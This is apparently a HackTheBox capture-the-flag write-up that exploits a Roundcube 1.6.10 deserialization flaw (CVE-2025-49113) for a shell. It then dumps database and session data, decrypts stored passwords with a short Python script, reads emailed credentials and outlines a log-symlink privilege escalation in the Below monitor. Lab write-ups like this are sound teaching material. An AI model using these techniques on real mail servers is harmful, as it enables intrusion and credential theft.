
## Solution
##### Today, we will solve a machine challenge from HackTheBox related to a Roundcube webmail vulnerability.
### Initial analysis
##### First, they provided me with an IP address to access their machine and a pair of credentials.
##### I started with an Nmap scan, and the results showed two open ports: SSH and HTTP.
```
└─$ nmap 10.10.11.77
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 11:48 +07
Nmap scan report for mail.outbound.htb (10.10.11.77)
Host is up (3.7s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 10.58 seconds
```
##### Besides, I discovered **mail.outbound.htb**, which is the virtual hostname of the target (10.10.11.77).
##### We need to edit the `/etc/hosts` file and add an entry to map the hostname.

### Roundcube Exploit
##### After logging in, I saw the login page.


##### By viewing the source, I saw that the website was running Roundcube version 1.6.10.
```
Roundcube is a browser-based multilingual IMAP client with an application-like user interface. It provides full functionality you expect from an email client, including MIME support, address book, folder manipulation, message searching and spell checking.
```
##### While researching vulnerabilities related to this version, I found **CVE-2025-49113**.

#### About CVE-2025-49113
###### I got source from [here](https://github.com/roundcube/roundcubemail/releases/tag/1.6.10)
##### Roundcube unsafely handles the `_from` parameter in the file upload script located at `program/actions/settings/upload.php`.
```php!
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// Plugins in Settings may use this file for some uploads (#5694)
// Make sure it does not contain a dot, which is a special character
// when using rcube_session::append() below
$type = str_replace('.', '-', $type);
```
##### The `$from` variable is taken directly from the `?_from=` parameter in the URL.
##### It only uses `preg_replace` to remove `add-`/`edit-` and replaces `.` with `-`.
##### There is no additional validation for other special characters (e.g., `!`, `|`, …).
##### After that, the `$type` variable is used as the group key to save the file in the session:
```php
$rcmail->session->append($type . '.files', $id, $attachment);
```
##### Exploit condition: the attacker must have valid login credentials.
##### If the attacker sets `_from=!xyz`, the PHP session string becomes corrupted, causing the uploaded filename (also controlled by the attacker) to be included as a serialized object.
##### When PHP reloads session → executes unserialize() object → runs gadget → RCE.
##### To exploit this CVE i used an available POC from [hakaioffsec](https://github.com/hakaioffsec/CVE-2025-49113-exploit)
##### I used the credentials provided by the challenge and created a reverse shell.

##### After successfully obtaining a reverse shell, I navigated to `/home`.
##### However, I could not access any user directories because I didn’t have the required permissions and was running as `www-data`.
```bash
www-data@mail:/home$ ls -l
total 20
drwxr-x--- 1 jacob jacob 4096 Jun 7 13:55 jacob
drwxr-x--- 1 mel mel 4096 Jun 8 12:06 mel
drwxr-x--- 1 tyler tyler 4096 Jun 8 13:28 tyler
www-data@mail:/home$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
##### I used the credentials to access the `tyler` folder.

##### Inside, I saw that the `Sent` file was empty.
##### From my Google search, I found some paths related to the webmail installation.

##### This is the content of the `config.inc.php` file located at `/var/www/html/roundcube/config`.
```php
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory)
$config['plugins'] = [
'archive',
'zipdownload',
];
// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
```
##### Some important information from the file:
```
Database Credentials
Connection String (DSN): mysql://roundcube:RCDBPass2025@localhost/roundcube
Database Name: roundcube
Database User: roundcube
Database Password: RCDBPass2025
Database Host: localhost
Mail Server Information
IMAP Host: localhost:143
SMTP Host: localhost:587
While the host is local, it confirms the services running and their ports.
Encryption Key
'des_key' => 'rcmail-!24ByteDESkey*Str'
This key is used to encrypt sensitive data like user passwords stored in sessions. Using the default sample value is a major security risk.
```
##### Sessions can store sensitive data such as encrypted IMAP passwords, credentials, and server connection information.
##### Because I know the `des_key`, I was able to decrypt sensitive data from the session files.
##### To obtain the session data, I extracted it from MySQL.
```
www-data@mail:/var/www/html/roundcube/config$ mysql -u roundcube -p roundcube
mysql -u roundcube -p roundcube
Enter password: RCDBPass2025
SHOW COLUMNS FROM session;
exit;
Field Type Null Key Default Extra
sess_id varchar(128) NO PRI NULL
changed datetime NO MUL 1000-01-01 00:00:00
ip varchar(40) NO NULL
vars mediumtext NO NULL
```
##### The `session` table has four columns. I extracted all of them with the command:
```sql
SELECT sess_id, changed, ip, vars FROM session;
````

##### Next, I used CyberChef to decode the Base64 data from the `vars` column.

##### By reading the official source code of Roundcube, I found the decrypt function.
```php
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
// @phpstan-ignore-next-line
if (!is_string($cipher) || !strlen($cipher)) {
return false;
}
if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}
$ckey = $this->config->get_crypto_key($key);
$method = $this->config->get_crypto_method();
$iv_size = openssl_cipher_iv_length($method);
$tag = null;
if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
$tag = $matches[1];
$cipher = substr($cipher, strlen($matches[0]));
}
$iv = substr($cipher, 0, $iv_size);
// session corruption? (#1485970)
if (strlen($iv) < $iv_size) {
return false;
}
$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);
return $clear;
}
```
##### After obtaining the key from `des_key` and using **DES-EDE3-CBC** (for version 1.6.10),
##### I found that the `password` field in `vars` consists of the IV (8 bytes) followed by the ciphertext (of variable length).
##### I wrote a simple script to decrypt it:
```python!
import base64
from Crypto.Cipher import DES3
key = b'rcmail-!24ByteDESkey*Str'
def rcube_decrypt(cipher_b64, key):
cipher_raw = base64.b64decode(cipher_b64)
iv = cipher_raw[:8]
ciphertext = cipher_raw[8:]
cipher = DES3.new(key, DES3.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
pad_len = plaintext[-1]
return plaintext[:-pad_len].decode(errors="ignore")
cipher_b64 = "bL9uVf9w35H/YQC75uyDjo1d/RR/zsUU"
print(rcube_decrypt(cipher_b64, key))
```

##### The decrypted credentials were the same as those provided in the challenge description.
##### Continuing with another session, I found the encrypted credentials of the `jacob` user.


##### I successfully obtained another set of credentials: `jacob:595mO8DmwGeD`.
##### With Jacob's permissions, I accessed `/home/jacob/mail` and found one email.

```
From tyler@outbound.htb Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status:
X-Keywords:
Content-Length: 233
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
Thanks!
Tyler
From mel@outbound.htb Sun Jun 08 12:09:45 2025
Return-Path: <mel@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002)
id 1487E22C; Sun, 8 Jun 2025 12:09:45 +0000 (UTC)
To: jacob@outbound.htb
Subject: Unexpected Resource Consumption
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250608120945.1487E22C@outbound.htb>
Date: Sun, 8 Jun 2025 12:09:45 +0000 (UTC)
From: mel@outbound.htb
X-UID: 2
Status:
X-Keywords:
Content-Length: 261
We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.
Thanks!
Mel
```
##### According to the email, it mentioned a password change — possibly the password for the SSH server.
##### I connected to SSH using the credentials `jacob:gY4Wr3a1evp4` and retrieved the user flag.

### Linux Privilege Escalation
```
jacob@outbound:/$ id
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)
```
##### I only had Jacob's permissions, so I could not access `/root` or retrieve the root flag. Therefore, I needed to find a way to escalate privileges.
##### I used [linpeas.sh](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) and discovered a potential attack vector.
##### I downloaded the tool to my machine, started a Python HTTP server, and then transferred it to the HTB server.


##### After running linpeas, at the line `Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d`,
##### I saw that Jacob could run the following below tool (`monitor`) with root permissions.

##### The file `error_root.log` was world-writable, meaning anyone could write to it.

##### Here, I was able to perform privilege escalation.
##### **Idea**: If I create a symlink from this log file to `/etc/passwd`, then when `below` runs with root permissions, it will write into `/etc/passwd`.
##### From my research, I learned this is **CVE-2025-27591**. I also found a [PoC](https://github.com/BridgerAlderson/CVE-2025-27591-PoC/blob/main/exploit.py).
